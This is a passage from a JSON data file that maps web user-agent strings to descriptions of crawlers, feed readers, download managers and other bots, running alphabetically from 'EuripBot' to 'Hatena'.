GetFile\"},{\"description\":\"Eurip.com - European Internet Portal robot\",\"ua\":\"EuripBot\\/0.x (+http:\\/\\/www.eurip.com) GetRobots\"},{\"description\":\"Eurip.com - European Internet Portal robot\",\"ua\":\"EuripBot\\/0.x (+http:\\/\\/www.eurip.com) PreCheck\"},{\"description\":\"Ayell Euronet business directory robot\",\"ua\":\"Eurobot\\/1.0 (http:\\/\\/www.ayell.eu)\"},{\"description\":\"Evaal Search Engine robot\",\"ua\":\"EvaalSE - bot@evaal.com\"},{\"description\":\"Eventax event search (Germany)\",\"ua\":\"eventax\\/1.3 (eventax; http:\\/\\/www.eventax.de\\/; info@eventax.de)\"},{\"description\":\"Vulcan Inc. Everest crawler (in development)\",\"ua\":\"Everest-Vulcan Inc.\\/0.1 (R&D project; host=e-1-24; http:\\/\\/everest.vulcan.com\\/crawlerhelp)\"},{\"description\":\"Vulcan Inc. Everest crawler (in development)\",\"ua\":\"Everest-Vulcan Inc.\\/0.1 (R&D project; http:\\/\\/everest.vulcan.com\\/crawlerhelp)\"},{\"description\":\"Exalead Websearch image crawler (193.47.80.xx)\",\"ua\":\"Exabot-Images\\/1.0\"},{\"description\":\"Exalead (France) search robot (193.47.80.xx)\",\"ua\":\"Exabot-Test\\/1.0\"},{\"description\":\"Exalead (France) search robot (193.47.80.xx)\",\"ua\":\"Exabot\\/2.0\"},{\"description\":\"Exalead (France) search robot (193.47.80.xx)\",\"ua\":\"Exabot\\/3.0\"},{\"description\":\"eXact Search Bar for IE\",\"ua\":\"ExactSearch\"},{\"description\":\"ExactSEEK (Jayde Online) robot\",\"ua\":\"ExactSeek Crawler\\/0.1\"},{\"description\":\"ExactSEEK (Jayde Online) robot\",\"ua\":\"exactseek-crawler-2.63 (crawler@exactseek.com)\"},{\"description\":\"ExactSEEK (Jayde Online) robot\",\"ua\":\"exactseek-pagereaper-2.63 (crawler@exactseek.com)\"},{\"description\":\"ExactSEEK (Jayde Online) robot (69.9.181.1xx)\",\"ua\":\"exactseek.com\"},{\"description\":\"Exalead (France) search robot (193.47.80.xx)\",\"ua\":\"Exalead NG\\/MimeLive Client (convert\\/http\\/0.120)\"},{\"description\":\"Excalibur (now Convera) spider software\",\"ua\":\"Excalibur Internet Spider V6.5.4\"},{\"description\":\"Execrawl software search using nutch\",\"ua\":\"Execrawl\\/1.0 (Execrawl; http:\\/\\/www.execrawl.com\\/; bot@execrawl.com)\"},{\"description\":\"exooba crawler for exooba search pre-alpha development\",\"ua\":\"exooba crawler\\/exooba crawler (crawler for exooba.com; http:\\/\\/www.exooba.com\\/; info at exooba dot com)\"},{\"description\":\"exooba crawler for exooba search pre-alpha development\",\"ua\":\"exooba\\/exooba crawler (exooba; exooba)\"},{\"description\":\"Mirago UK Robot\",\"ua\":\"ExperimentalHenrytheMiragoRobot\"},{\"description\":\"Expired Domain Sleuth domain name tool\",\"ua\":\"Expired Domain Sleuth\"},{\"description\":\"Express Web Pictures image browser\",\"ua\":\"Express WebPictures (www.express-soft.com)\"},{\"description\":\"Extractor Pro e-mail collector\",\"ua\":\"ExtractorPro\"},{\"description\":\"Exisoftware image grabber and downloading tool\",\"ua\":\"Extreme Picture Finder\"},{\"description\":\"Download-Tipp Germany robot\",\"ua\":\"EyeCatcher (Download-tipp.de)\\/1.0\"},{\"description\":\"Factbites search robot\",\"ua\":\"Factbot 1.09 (see http:\\/\\/www.factbites.com\\/webmasters.php)\"},{\"description\":\"Factbites search robot\",\"ua\":\"factbot : http:\\/\\/www.factbites.com\\/robots\"},{\"description\":\"FaEdit Professional - Japanese bookmark manager\",\"ua\":\"FaEdit\\/2.0.x\"},{\"description\":\"FairAd user\",\"ua\":\"FairAd Client\"},{\"description\":\"Safe-t.net web filtering service\",\"ua\":\"FANGCrawl\\/0.01\"},{\"description\":\"Drew Curtis' FARK.com link checking\",\"ua\":\"FARK.com link verifier\"},{\"description\":\"Fast\\/Alltheweb crawler (66.151.181.xx)\",\"ua\":\"Fast Crawler Gold Edition\"},{\"description\":\"Fast\\/Alltheweb crawler (66.151.181.xx)\",\"ua\":\"FAST Enterprise Crawler 6 (Experimental)\"},{\"description\":\"Fast Enterprise Crawler (66.151.181.xx) for Scirus scienctific information search\",\"ua\":\"FAST Enterprise Crawler 6 \\/ Scirus scirus-crawler@fast.no; http:\\/\\/www.scirus.com\\/srsapp\\/contactus\\/\"},{\"description\":\"Fast\\/Alltheweb crawler (66.151.181.xx)\",\"ua\":\"FAST Enterprise Crawler 6 used by Cobra Development (admin@fastsearch.com)\"},{\"description\":\"Comperio Web Miner based on Fast ESP\",\"ua\":\"FAST Enterprise Crawler 6 used by Comperio AS (sts@comperio.no)\"},{\"description\":\"Fast\\/Alltheweb crawler (66.151.181.xx)\",\"ua\":\"FAST Enterprise Crawler 6 used by FAST (FAST)\"},{\"description\":\"Pages Jaunes business search (France) robot using Fast Enterprise Crawler\",\"ua\":\"FAST Enterprise Crawler 6 used by Pages Jaunes (pvincent@pagesjaunes.fr)\"},{\"description\":\"Fast\\/Alltheweb crawler for Sensis.com.au Australian search (66.151.181.xx)\",\"ua\":\"FAST Enterprise Crawler 6 used by Sensis.com.au Web Crawler (search_comments\\\\at\\\\sensis\\\\dot\\\\com\\\\dot\\\\au)\"},{\"description\":\"SPH Search - Singapore related search using Fast crawler\",\"ua\":\"FAST Enterprise Crawler 6 used by Singapore Press Holdings (crawler@sphsearch.sg)\"},{\"description\":\"FAST Enterprise Crawler  used by WWU (University of Muenster - Germany)\",\"ua\":\"FAST Enterprise Crawler 6 used by WWU (wardi@uni-muenster.de)\"},{\"description\":\"Fast\\/Alltheweb crawler (66.151.181.xx)\",\"ua\":\"FAST Enterprise Crawler\\/6 (www.fastsearch.com)\"},{\"description\":\"Fast\\/Alltheweb crawler (66.151.181.xx)\",\"ua\":\"FAST Enterprise Crawler\\/6.4 (helpdesk at fast.no)\"},{\"description\":\"Fast\\/Alltheweb crawler (66.151.181.xx)\",\"ua\":\"FAST FirstPage retriever (compatible; MSIE 5.5; Mozilla\\/4.0)\"},{\"description\":\"Fast\\/Alltheweb crawler (66.151.181.xx)\",\"ua\":\"FAST MetaWeb Crawler (helpdesk at fastsearch dot com)\"},{\"description\":\"Fast\\/Alltheweb crawler (66.151.181.xx)\",\"ua\":\"Fast PartnerSite Crawler\"},{\"description\":\"Fast\\/Alltheweb multimedia crawler\",\"ua\":\"FAST-WebCrawler\\/2.2.10 (Multimedia Search) (crawler@fast.no; http:\\/\\/www.fast.no\\/faq\\/faqfastwebsearch\\/faqfastwebcrawler.html)\"},{\"description\":\"Fast\\/Alltheweb crawler\",\"ua\":\"FAST-WebCrawler\\/2.2.6 (crawler@fast.no; http:\\/\\/www.fast.no\\/faq\\/faqfastwebsearch\\/faqfastwebcrawler.html)\"},{\"description\":\"Fast\\/Alltheweb crawler\",\"ua\":\"FAST-WebCrawler\\/2.2.7 (crawler@fast.no; http:\\/\\/www.fast.no\\/faq\\/faqfastwebsearch\\/faqfastwebcrawler.html)http:\\/\\/www.fast.no\"},{\"description\":\"Fast\\/Alltheweb crawler\",\"ua\":\"FAST-WebCrawler\\/2.2.8 (crawler@fast.no; http:\\/\\/www.fast.no\\/faq\\/faqfastwebsearch\\/faqfastwebcrawler.html)http:\\/\\/www.fast.no\"},{\"description\":\"Fast\\/Alltheweb crawler\",\"ua\":\"FAST-WebCrawler\\/3.2 test\"},{\"description\":\"Fast\\/Alltheweb crawler\",\"ua\":\"FAST-WebCrawler\\/3.3 (crawler@fast.no; http:\\/\\/fast.no\\/support.php?c=faqs\\/crawler)\"},{\"description\":\"Fast\\/Alltheweb crawler\",\"ua\":\"FAST-WebCrawler\\/3.4\\/Nirvana (crawler@fast.no; http:\\/\\/fast.no\\/support.php?c=faqs\\/crawler)\"},{\"description\":\"Fast\\/Alltheweb crawler\",\"ua\":\"FAST-WebCrawler\\/3.4\\/PartnerSite (crawler@fast.no; http:\\/\\/fast.no\\/support.php?c=faqs\\/crawler)\"},{\"description\":\"Fast\\/Alltheweb crawler\",\"ua\":\"FAST-WebCrawler\\/3.5 (atw-crawler at fast dot no; http:\\/\\/fast.no\\/support.php?c=faqs\\/crawler)\"},{\"description\":\"Fast\\/Alltheweb crawler\",\"ua\":\"FAST-WebCrawler\\/3.6 (atw-crawler at fast dot no; http:\\/\\/fast.no\\/support\\/crawler.asp)\"},{\"description\":\"Fast\\/Alltheweb crawler\",\"ua\":\"FAST-WebCrawler\\/3.6\\/FirstPage (crawler@fast.no; http:\\/\\/fast.no\\/support.php?c=faqs\\/crawler)\"},{\"description\":\"Fast\\/Alltheweb crawler\",\"ua\":\"FAST-WebCrawler\\/3.7 (atw-crawler at fast dot no; http:\\/\\/fast.no\\/support\\/crawler.asp)\"},{\"description\":\"Fast\\/Alltheweb crawler\",\"ua\":\"FAST-WebCrawler\\/3.7\\/FirstPage (atw-crawler at fast dot no;http:\\/\\/fast.no\\/support\\/crawler.asp)\"},{\"description\":\"Fast\\/Alltheweb crawler\",\"ua\":\"FAST-WebCrawler\\/3.8 (atw-crawler at fast dot no; http:\\/\\/fast.no\\/support\\/crawler.asp)\"},{\"description\":\"Fast\\/Alltheweb crawler\",\"ua\":\"FAST-WebCrawler\\/3.8\\/Fresh (atw-crawler at fast dot no; http:\\/\\/fast.no\\/support\\/crawler.asp)\"},{\"description\":\"Fast\\/Alltheweb multimedia crawler\",\"ua\":\"FAST-WebCrawler\\/3.x Multimedia\"},{\"description\":\"Fast\\/Alltheweb multimedia crawler\",\"ua\":\"FAST-WebCrawler\\/3.x Multimedia (mm dash crawler at fast dot no)\"},{\"description\":\"Fastbot search Germany crawler (80.252.104.1xx)\",\"ua\":\"fastbot crawler beta 2.0 (+http:\\/\\/www.fastbot.de)\"},{\"description\":\"Ay-Up geo sync search robot\",\"ua\":\"FastBug http:\\/\\/www.ay-up.com\"},{\"description\":\"Fast\\/Alltheweb crawler (66.151.181.xx)\",\"ua\":\"FastCrawler 3.0.1 (crawler@1klik.dk)\"},{\"description\":\"Fast\\/Alltheweb crawler used by SuperPages.com\",\"ua\":\"FastSearch Web Crawler for Verizon SuperPages (kevin.watters@fastsearch.com)\"},{\"description\":\"Favcollector Favicon collecting robot\",\"ua\":\"Favcollector\\/2.0 (info@favcollector.com http:\\/\\/www.favcollector.com\\/)\"},{\"description\":\"FavIconizer - IE favorites icons refreshing tool\",\"ua\":\"FavIconizer\"},{\"description\":\"favo.eu (Germany) search robot\",\"ua\":\"favo.eu crawler\\/0.6 (http:\\/\\/www.favo.eu)\"},{\"description\":\"ZD's FavOrg favourites managing program\",\"ua\":\"FavOrg\"},{\"description\":\"Campulka.net Favorites checking tool\",\"ua\":\"Favorites Checking (http:\\/\\/campulka.net)\"},{\"description\":\"Favorites Sweeper bookmark checker\",\"ua\":\"Favorites Sweeper v.2.03\"},{\"description\":\"FaXo Search robot (69.152.89.xx)\",\"ua\":\"Faxobot\\/1.0\"},{\"description\":\"Free Download Manager (FDM) download accelerator \",\"ua\":\"FDM 1.x\"},{\"description\":\"Free Download Manager (FDM) download accelerator \",\"ua\":\"FDM 2.x\"},{\"description\":\"RSS Feed Seeker bot (68.225.95.2xx)\",\"ua\":\"Feed Seeker Bot (RSS Feed Seeker http:\\/\\/www.MyNewFavoriteThing.com\\/fsb.php)\"},{\"description\":\"Feed24 news feed and blog search\",\"ua\":\"Feed24.com\"},{\"description\":\"Feed::Find - Syndication feed (RSS\\/Atom) auto-discovery\",\"ua\":\"Feed::Find\\/0.0x\"},{\"description\":\"Feedable beta web based RSS service\",\"ua\":\"Feedable\\/0.1 (compatible; MSIE 6.0; Windows NT 5.1)\"},{\"description\":\"Unknown robot from the University of Tokyo (157.82.157.xx)\",\"ua\":\"FeedChecker\\/0.01\"},{\"description\":\"FeedDemon RSS reader\",\"ua\":\"FeedDemon\\/2.7 (http:\\/\\/www.newsgator.com\\/; Microsoft Windows XP)\"},{\"description\":\"Google news feed feetcher for iGoogle gadgets\",\"ua\":\"Feedfetcher-Google-iGoogleGadgets; (+http:\\/\\/www.google.com\\/feedfetcher.html)\"},{\"description\":\"Google Feedfetcher - RSS and Atom feed crawler\",\"ua\":\"Feedfetcher-Google; (+http:\\/\\/www.google.com\\/feedfetcher.html)\"},{\"description\":\"FeedForAll RSS feed robot\",\"ua\":\"FeedForAll rss2html.php v2\"},{\"description\":\"FeedHub news feed personalization engine powered by mSpoke\",\"ua\":\"FeedHub FeedDiscovery\\/1.0 (http:\\/\\/www.feedhub.com)\"},{\"description\":\"FeedHub news feed personalization engine powered by mSpoke\",\"ua\":\"FeedHub MetaDataFetcher\\/1.0 (http:\\/\\/www.feedhub.com)\"},{\"description\":\"Feedjit news feed service favicon crawler\",\"ua\":\"Feedjit Favicon Crawler 1.0\"},{\"description\":\"Newsbrain Feedreader3\",\"ua\":\"Feedreader 3.xx (Powered by Newsbrain)\"},{\"description\":\"FeedShow online RSS feed reader\",\"ua\":\"Feedshow\\/x.0 (http:\\/\\/www.feedshow.com; 1 subscriber)\"},{\"description\":\"FeedShow online RSS feed reader\",\"ua\":\"FeedshowOnline (http:\\/\\/www.feedshow.com)\"},{\"description\":\"FeedZcollector - Feed (RSS, ATOM and RDF) capturing software\",\"ua\":\"FeedZcollector v1.x (Platinum) http:\\/\\/www.feeds4all.com\\/feedzcollector\"},{\"description\":\"MixCat robot\",\"ua\":\"Felix - Mixcat Crawler (+http:\\/\\/mixcat.com)\"},{\"description\":\"FreeBSD download tool\",\"ua\":\"fetch libfetch\\/2.0\"},{\"description\":\"Frequent Finders spider via Sitefusion.com\",\"ua\":\"FFC Trap Door Spider\"},{\"description\":\"Filangy search and bookmark service\",\"ua\":\"Filangy\\/0.01-beta (Filangy; http:\\/\\/www.nutch.org\\/docs\\/en\\/bot.html; filangy-agent@filangy.com)\"},{\"description\":\"Filangy search and bookmark service\",\"ua\":\"Filangy\\/1.0x (Filangy; http:\\/\\/www.filangy.com\\/filangyinfo.jsp?inc=robots.jsp; filangy-agent@filangy.com)\"},{\"description\":\"Filangy search and bookmark service\",\"ua\":\"Filangy\\/1.0x (Filangy; http:\\/\\/www.nutch.org\\/docs\\/en\\/bot.html; filangy-agent@filangy.com)\"},{\"description\":\"File Boost Network link checking\",\"ua\":\"fileboost.net\\/1.0 (+http:\\/\\/www.fileboost.net)\"},{\"description\":\"FileHound download manager\",\"ua\":\"FileHound x.x\"},{\"description\":\"filtrbox media content (news) monitoring\",\"ua\":\"Filtrbox\\/1.0\"},{\"description\":\"Find An ISP robot\",\"ua\":\"FindAnISP.com_ISP_Finder_v99a\"},{\"description\":\"Yelo.no business search (Norway) via Findexa\",\"ua\":\"Findexa Crawler (http:\\/\\/www.findexa.no\\/gulesider\\/article26548.ece)\"},{\"description\":\"NextLinks - German vocabulary and hyperlink search\",\"ua\":\"findlinks\\/x.xxx (+http:\\/\\/wortschatz.uni-leipzig.de\\/findlinks\\/) \"},{\"description\":\"Finesearch robot\",\"ua\":\"FineBot\"},{\"description\":\"Finjan Vital Security Web Appliance security solution\",\"ua\":\"Finjan-prefetch\"},{\"description\":\"Fireball.de robot\",\"ua\":\"Firefly\\/1.0\"},{\"description\":\"Fireball.de robot\",\"ua\":\"Firefly\\/1.0 (compatible; Mozilla 4.0; MSIE 5.5)\"},{\"description\":\"Unknown robot from Czech Technical University Prague (147.32.141.xx)\",\"ua\":\"Firefox (kastaneta03@hotmail.com)\"},{\"description\":\"Unknown robot from Czech Technical University Prague (147.32.141.xx)\",\"ua\":\"Firefox_1.0.6 (kasparek@naparek.cz)\"},{\"description\":\"AT&T\\/Fast Search robot for FirstGov (U.S.Government) portal\",\"ua\":\"FirstGov.gov Search - POC:firstgov.webmasters@gsa.gov\"},{\"description\":\"Firstsfind Germany robot \\/ link checking\",\"ua\":\"firstsbot\"},{\"description\":\"Flaptor information retrieval solutions robot\",\"ua\":\"Flapbot\\/0.7.2 (Flaptor Crawler; http:\\/\\/www.flaptor.com; crawler at flaptor period com)\"},{\"description\":\"JetCar\\/FlashGet download manager\",\"ua\":\"FlashGet\"},{\"description\":\"FlatArts Favorites Icon Tool\",\"ua\":\"FLATARTS_FAVICO\"},{\"description\":\"Flexum.ru search service\",\"ua\":\"Flexum spider\"},{\"description\":\"Flexum.ru search service\",\"ua\":\"Flexum\\/2.0\"},{\"description\":\"DivX.com Movie Find robot\",\"ua\":\"FlickBot 2.0 RPT-HTTPClient\\/0.3-3\"},{\"description\":\"Metacarta \\/ Cogent robot\",\"ua\":\"flunky\"},{\"description\":\"unknown\",\"ua\":\"fly\\/6.01 libwww\\/4.0D\"},{\"description\":\"FLY Index Metasearch link checking\",\"ua\":\"flyindex.net 1.0\\/http:\\/\\/www.flyindex.net\"},{\"description\":\"Fnoole news crawler\",\"ua\":\"FnooleBot\\/2.5.2 (+http:\\/\\/www.fnoole.com\\/addurl.html)\"},{\"description\":\"IBM's Almaden Research robot\",\"ua\":\"FocusedSampler\\/1.0\"},{\"description\":\"folkd.com social search robot\",\"ua\":\"Folkd.com Spider\\/0.1 beta 1 (www.folkd.com)\"},{\"description\":\"FollowSite robot - website monitoring\",\"ua\":\"FollowSite Bot ( http:\\/\\/www.followsite.com\\/bot.html )\"},{\"description\":\"FollowSite robot - website monitoring\",\"ua\":\"FollowSite.com ( http:\\/\\/www.followsite.com\\/b.html )\"},{\"description\":\"Fooky search Scorpionbots robot (65.12.170.xxx)\",\"ua\":\"Fooky.com\\/ScorpionBot\\/ScoutOut; http:\\/\\/www.fooky.com\\/scorpionbots\"},{\"description\":\"Neomo Search (Germany) robot (85.10.197.1xx)\",\"ua\":\"Francis\\/1.0 (francis@neomo.de http:\\/\\/www.neomo.de\\/)\"},{\"description\":\"Some spam bot\",\"ua\":\"Franklin Locator 1.8\"},{\"description\":\"Free Downloads shareware directory link checking\",\"ua\":\"free-downloads.net download-link validator \\/0.1\"},{\"description\":\"FreeFind.com robot\",\"ua\":\"FreeFind.com-SiteSearchEngine\\/1.0 (http:\\/\\/freefind.com; spiderinfo@freefind.com)\"},{\"description\":\"Frelics backlink checking bot (beta)\",\"ua\":\"Frelicbot\\/1.0 +http:\\/\\/www.frelic.com\\/\"},{\"description\":\"Fresh Download download manager\",\"ua\":\"FreshDownload\\/x.xx\"},{\"description\":\"FreshNotes - music related artist search (72.3.225.xx)\",\"ua\":\"FreshNotes crawler< report problems to crawler-at-freshnotes-dot-com\"},{\"description\":\"Some site scanning tool via diff. IPs\",\"ua\":\"FSurf15a 01\"},{\"description\":\"Find the Best search robot\",\"ua\":\"FTB-Bot http:\\/\\/www.findthebest.co.uk\\/\"},{\"description\":\"Some site scanning tool from diff. IPs i.e.: - 66.28.240.xx (cogentco.com) - 68.5.174.xx (cox.net)\",\"ua\":\"Full Web Bot 0416B\"},{\"description\":\"Some site scanning tool i.e. from - 68.154.96.xx (bellsouth.net)\",\"ua\":\"Full Web Bot 0516B\"},{\"description\":\"Some site scanning tool from 66.255.6.xxx (uslec.com)\",\"ua\":\"Full Web Bot 2816B\"},{\"description\":\"FuseBulb search\",\"ua\":\"FuseBulb.Com\"},{\"description\":\"FyberSearch FyberSpider robot\",\"ua\":\"FyberSpider (+http:\\/\\/www.fybersearch.com\\/fyberspider.php)\"},{\"description\":\"Some user from bbnplanet.net (4.63.218.2xx) using an Innerprise robot tool\",\"ua\":\"Gagglebot\"},{\"description\":\"Seed Search robot\",\"ua\":\"GAIS Robot\\/1.0B2\"},{\"description\":\"Gaislab Taiwan robot\",\"ua\":\"Gaisbot\\/3.0 (indexer@gais.cs.ccu.edu.tw; http:\\/\\/gais.cs.ccu.edu.tw\\/robot.php)\"},{\"description\":\"Gaislab Taiwan robot\",\"ua\":\"Gaisbot\\/3.0+(robot06@gais.cs.ccu.edu.tw;+http:\\/\\/gais.cs.ccu.edu.tw\\/robot.php)\"},{\"description\":\"Galaxy robot (63.121.41.xxx)\",\"ua\":\"GalaxyBot\\/1.0 (http:\\/\\/www.galaxy.com\\/galaxybot.html)\"},{\"description\":\"Gallent Search directory (UK)\",\"ua\":\"Gallent Search Spider v1.4 Robot 2 (http:\\/\\/robot.GallentSearch.com)\"},{\"description\":\"Gamekit game search engine - Germany\",\"ua\":\"gamekitbot\\/1.0 (+http:\\/\\/www.uchoose.de\\/crawler\\/gamekitbot\\/)\"},{\"description\":\"GameSpyHTTP\\/1.0\",\"ua\":\"Gamespy_Arcade\"},{\"description\":\"GammaWare GammaSpider\",\"ua\":\"GammaSpider\\/1.0\"},{\"description\":\"nttrd.com \\/ Infobee.ne.jp robot\",\"ua\":\"gazz\\/x.x (gazz@nttrd.com)\"},{\"description\":\"Geckobot user robot\",\"ua\":\"geckobot\"},{\"description\":\"Google Mobile Search crawler\",\"ua\":\"Generic Mobile Phone (compatible; Googlebot-Mobile\\/2.1; +http:\\/\\/www.google.com\\/bot.html)\"},{\"description\":\"Unknown robot from Carnegie Mellon University (128.2.211.xxx)\",\"ua\":\"generic_crawler\\/01.0217\\/\"},{\"description\":\"Lunascape Genesis browser\",\"ua\":\"GenesisBrowser (HTTP 1.1; 0.9; XP SP2; .NET CLR 2.0.50727)\"},{\"description\":\"GenieKnows.com search\",\"ua\":\"genieBot (http:\\/\\/64.5.245.11\\/faq\\/faq.html)\"},{\"description\":\"GenieKnows.com search\",\"ua\":\"geniebot wgao@genieknows.com\"},{\"description\":\"Unknown robot from wavepath.com (65.254.33.1xx)\",\"ua\":\"GeoBot\\/1.0\"},{\"description\":\"Geona Search robot \\/ link checking\",\"ua\":\"GeonaBot 1.x; http:\\/\\/www.geona.com\\/\"},{\"description\":\"GeoURL ICBM Address Server - a location-to-URL reverse directory\",\"ua\":\"geourl\\/2.0b2\"},{\"description\":\"GeoURL ICBM Address Server - a location-to-URL reverse directory\",\"ua\":\"GeoURLBot 1.0 (http:\\/\\/geourl.org)\"},{\"description\":\"Getbot web downloading tool \\/ site grabber\",\"ua\":\"GetBot\"},{\"description\":\"GetRight download manager\",\"ua\":\"GetRight\\/3.x.x\"},{\"description\":\"GetRight download manager\",\"ua\":\"GetRight\\/4.5xx\"},{\"description\":\"GetRight download manager\",\"ua\":\"GetRight\\/4.x\"},{\"description\":\"GetRight download manager\",\"ua\":\"GetRight\\/4.x[a-e]\"},{\"description\":\"GetRight download manager\",\"ua\":\"GetRight\\/6.1 (Pro)\"},{\"description\":\"GetRight download manager\",\"ua\":\"GetRightPro\\/6.0beta2\"},{\"description\":\"GetWeb - web page to email service\",\"ua\":\"GetWeb\\/0.1 libwww-perl\\/5.16\"},{\"description\":\"Sixxs Ghost Route Hunter\",\"ua\":\"GhostRouteHunter\\/20021130 (https:\\/\\/www.sixxs.net\\/tools\\/grh\\/; info@sixxs.net)\"},{\"description\":\"GigaBaz Brainbot (Germany) robot\",\"ua\":\"gigabaz\\/3.1x (baz@gigabaz.com; http:\\/\\/gigabaz.com\\/gigabaz\\/)\"},{\"description\":\"Gigablast robot (64.62.168.xx)\",\"ua\":\"Gigabot\\/2.0 (gigablast.com)\"},{\"description\":\"Gigablast robot\",\"ua\":\"Gigabot\\/2.0\\/gigablast.com\\/spider.html\"},{\"description\":\"Gigablast robot\",\"ua\":\"Gigabot\\/2.0; http:\\/\\/www.gigablast.com\\/spider.html\"},{\"description\":\"Gigablast robot\",\"ua\":\"Gigabot\\/2.0att\"},{\"description\":\"Gigablast robot\",\"ua\":\"Gigabot\\/3.0 (http:\\/\\/www.gigablast.com\\/spider.html)\"},{\"description\":\"Gigablast robot (64.62.168.xx)\",\"ua\":\"Gigabot\\/x.0\"},{\"description\":\"Gigablast robot (64.62.168.xx)\",\"ua\":\"GigabotSiteSearch\\/2.0 (sitesearch.gigablast.com)\"},{\"description\":\"www.gnod.net spider\",\"ua\":\"GNODSPIDER (www.gnod.net)\"},{\"description\":\"Go!Zilla download manager\",\"ua\":\"Go!Zilla 3.x (www.gozilla.com)\"},{\"description\":\"Go!Zilla download manager\",\"ua\":\"Go!Zilla\\/4.x.x.xx\"},{\"description\":\"GotIt web accelerator (discontinued)\",\"ua\":\"Go-Ahead-Got-It\\/1.1\"},{\"description\":\"GoGuides.Org (195.226.137.xx) robot\",\"ua\":\"Goblin\\/0.9 (http:\\/\\/www.goguides.org\\/)\"},{\"description\":\"GoGuides.Org (195.226.137.xx) robot\",\"ua\":\"Goblin\\/0.9.x (http:\\/\\/www.goguides.org\\/goblin-info.html)\"},{\"description\":\"GoForIt Search robot\",\"ua\":\"GoForIt.com\"},{\"description\":\"GoForIt Search robot\",\"ua\":\"GOFORITBOT ( http:\\/\\/www.goforit.com\\/about\\/ )\"},{\"description\":\"GoGuides.org directory & search link checking\",\"ua\":\"GoGuides.Org Link Check\"},{\"description\":\"GoldenFeed.com - RSS search engine\",\"ua\":\"GoldenFeed Spider 1.0 (http:\\/\\/www.goldenfeed.com)\"},{\"description\":\"Invention Machines Goldfire Server\",\"ua\":\"Goldfire Server\"},{\"description\":\"suchen.de German local search robot\",\"ua\":\"gonzo1[P] +http:\\/\\/www.suchen.de\\/popups\\/faq.jsp\"},{\"description\":\"suchen.de German local search robot\",\"ua\":\"gonzo2[P] +http:\\/\\/www.suchen.de\\/faq.html\"},{\"description\":\"Some private robot (Wanadoo.fr client)\",\"ua\":\"Goofer\\/0.2\"},{\"description\":\"Google instant messenger\",\"ua\":\"Google Talk\"},{\"description\":\"Packard Bell Net user robot (*not* Google)\",\"ua\":\"googlebot (larbin2.6.0@unspecified.mail)\"},{\"description\":\"Google image crawler (66.249.72.xxx)\",\"ua\":\"Googlebot-Image\\/1.0\"},{\"description\":\"Google image crawler (66.249.72.xxx)\",\"ua\":\"Googlebot-Image\\/1.0 ( http:\\/\\/www.googlebot.com\\/bot.html)\"},{\"description\":\"Google robot 66.249.64.XXX\",\"ua\":\"Googlebot\\/2.1 ( http:\\/\\/www.google.com\\/bot.html)\"},{\"description\":\"Google robot 66.249.64.XXX\",\"ua\":\"Googlebot\\/2.1 ( http:\\/\\/www.googlebot.com\\/bot.html)\"},{\"description\":\"Google robot 66.249.64.XXX\",\"ua\":\"Googlebot\\/Test ( http:\\/\\/www.googlebot.com\\/bot.html)\"},{\"description\":\"ShareThis social networking service via Amazon Web Services\",\"ua\":\"Gordon's Spider\\/Nutch-0.9 (http:\\/\\/www.sharethis.com; gordon@sharethis.com)\"},{\"description\":\"Grapeshot web search system API\",\"ua\":\"GrapeFX\\/0.3 libwww\\/5.4.0\"},{\"description\":\"Flatland Industries vertical search solution\",\"ua\":\"great-plains-web-spider\\/flatlandbot (Flatland Industries Web Spider; http:\\/\\/www.flatlandindustries.com\\/flatlandbot.php; jason@flatlandindustries.com)\"},{\"description\":\"GreatNews 1.0 Beta RSS reader\",\"ua\":\"GreatNews\\/1.0\"},{\"description\":\"GreenBrowser - IE based browser (China)\",\"ua\":\"GreenBrowser\"},{\"description\":\"search gridwell favicon display\",\"ua\":\"gridwell (http:\\/\\/search.gridwell.com)\"},{\"description\":\"Grigor Search bot\",\"ua\":\"GrigorBot 0.8 (http:\\/\\/www.grigor.biz\\/bot.html)\"},{\"description\":\"Australasian Legal Information Institute (AustLII) robot\",\"ua\":\"Gromit\\/1.0\"},{\"description\":\"Grub open source crawler\",\"ua\":\"grub crawler(http:\\/\\/www.grub.org)\"},{\"description\":\"Grub open source crawler\",\"ua\":\"grub-client\"},{\"description\":\"Google Search Appliance robot (216.239.xx.xx)\",\"ua\":\"gsa-crawler (Enterprise; GID-01422; jplastiras@google.com)\"},{\"description\":\"Google Search Appliance robot (216.239.xx.xx)\",\"ua\":\"gsa-crawler (Enterprise; GID-01742;gsatesting@rediffmail.com)\"},{\"description\":\"Google Enterprise Search Appliance used by Enhesa (212.35.100.1xx)\",\"ua\":\"gsa-crawler (Enterprise; GIX-02057; dm@enhesa.com)\"},{\"description\":\"Google Enterprise Search Appliance used by IBM (129.41.20.1xx)\",\"ua\":\"gsa-crawler (Enterprise; GIX-03519; cknuetter@stubhub.com)\"},{\"description\":\"Google Search Appliance robot (216.239.xx.xx)\",\"ua\":\"gsa-crawler (Enterprise; GIX-0xxxx; enterprise-training@google.com)\"},{\"description\":\"GSiteCrawler - Google sitemap generator for Windows\",\"ua\":\"GSiteCrawler\\/v1.xx rev. xxx (http:\\/\\/gsitecrawler.com\\/)\"},{\"description\":\"Guestbook spamming tool\",\"ua\":\"Guestbook Auto Submitter\"},{\"description\":\"Northernlight robot\",\"ua\":\"Gulliver\\/1.3\"},{\"description\":\"Yuntis Collaborative Web Resource Categorization and Ranking Project robot\",\"ua\":\"Gulper Web Bot 0.2.4 (www.ecsl.cs.sunysb.edu\\/~maxim\\/cgi-bin\\/Link\\/GulperBot)\"},{\"description\":\"Gungho - Extensible web crawler written in Perl by Google Code\",\"ua\":\"Gungho\\/0.08004 (http:\\/\\/code.google.com\\/p\\/gungho-crawler\\/wiki\\/Index)\"},{\"description\":\"guruji : the Indian search engine robot\",\"ua\":\"GurujiBot\\/1.0 (+http:\\/\\/www.guruji.com\\/WebmasterFAQ.html)\"},{\"description\":\"guruji : the Indian search engine picture crawler\",\"ua\":\"GurujiImageBot\\/1.0 (+http:\\/\\/www.guruji.com\\/en\\/WebmasterFAQ.html)\"},{\"description\":\"Openwave Mobile Browser on Haier T10C mobile\",\"ua\":\"Haier-T10C\\/1.0 iPanel\\/2.0 WAP2.0 (compatible; UP.Browser\\/6.2.2.4; UPG1; UP\\/4.0; Embedded)\"},{\"description\":\"Happy Fun Search robot\",\"ua\":\"HappyFunBot\\/1.1\"},{\"description\":\"Harvest-NG web crawler used by search.yahoo.com\",\"ua\":\"Harvest-NG\\/1.0.2\"},{\"description\":\"Haste - web mapping and monitoring system\",\"ua\":\"Haste\\/0.12 (HOME: http:\\/\\/haste.kytoon.com\\/)\"},{\"description\":\"Hatena::Antenna Japan 